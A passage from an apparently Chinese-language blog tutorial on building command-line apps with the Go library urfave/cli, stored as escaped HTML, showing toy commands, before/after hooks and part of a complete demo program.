class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;1 + 1 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e + \u003cspan class=\"number\"\u003e1\u003c/span\u003e)                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;sub\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;s\u0026#34;\u003c/span\u003e},            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 5-3\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;5 - 3 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e - \u003cspan class=\"number\"\u003e3\u003c/span\u003e)                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;db\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;database operations\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;database\u0026#34;\u003c/span\u003e,            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSubcommands: []cli.Command {                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;insert\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;insert data\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                       \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;insert subcommand\u0026#34;\u003c/span\u003e)                        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;delete\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;delete data\u0026#34;\u003c/span\u003e,                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {                       \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;delete subcommand\u0026#34;\u003c/span\u003e)                        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e                    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},                \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},            \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果你想在command执行前后执行后完成一些操作,可以指定app.Before/app.After这两个字段:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapp.Before = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app Before\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.After = \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;app After\u0026#34;\u003c/span\u003e)        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e    \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e具体测试一下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ GoTest add\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ GoTest db insert\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"5\"\u003e\u003cli\u003e小结\u003cbr/\u003e总体来说,urfave/cli这个库还是很好用的,完成了很多routine的工作,程序员只需要专注于具体业务逻辑的实现。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e附完整demo代码:\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e cli\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;fmt\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;os\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;sort\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;gopkg.in/urfave/cli.v1\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eRun\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e language \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp := cli.NewApp()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Name = \u003cspan class=\"string\"\u003e\u0026#34;GoTest\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Usage = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Version = \u003cspan class=\"string\"\u003e\u0026#34;1.2.3\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Flags = []cli.Flag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.IntFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;port, p\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"number\"\u003e8000\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;listening port\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecli.StringFlag{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;lang, l\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eValue: \u003cspan class=\"string\"\u003e\u0026#34;english\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;read from `FILE`\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDestination: \u0026amp;language,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.Commands = []cli.Command{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;add\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 1+1\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;1 + 1 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e+\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;sub\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAliases: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;s\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;calc 5-3\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;arithmetic\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;5 - 3 = \u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e\u003cspan class=\"number\"\u003e-3\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;db\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;database operations\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCategory: \u003cspan class=\"string\"\u003e\u0026#34;database\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSubcommands: []cli.Command{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;insert\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;insert data\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;insert subcommand\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eName: \u003cspan class=\"string\"\u003e\u0026#34;delete\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUsage: \u003cspan class=\"string\"\u003e\u0026#34;delete data\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAction: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(c *cli.Context)\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"type\"\u003eerror\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efmt.Println(\u003cspan class=\"string\"\u003e\u0026#34;delete subcommand\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003enil\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan 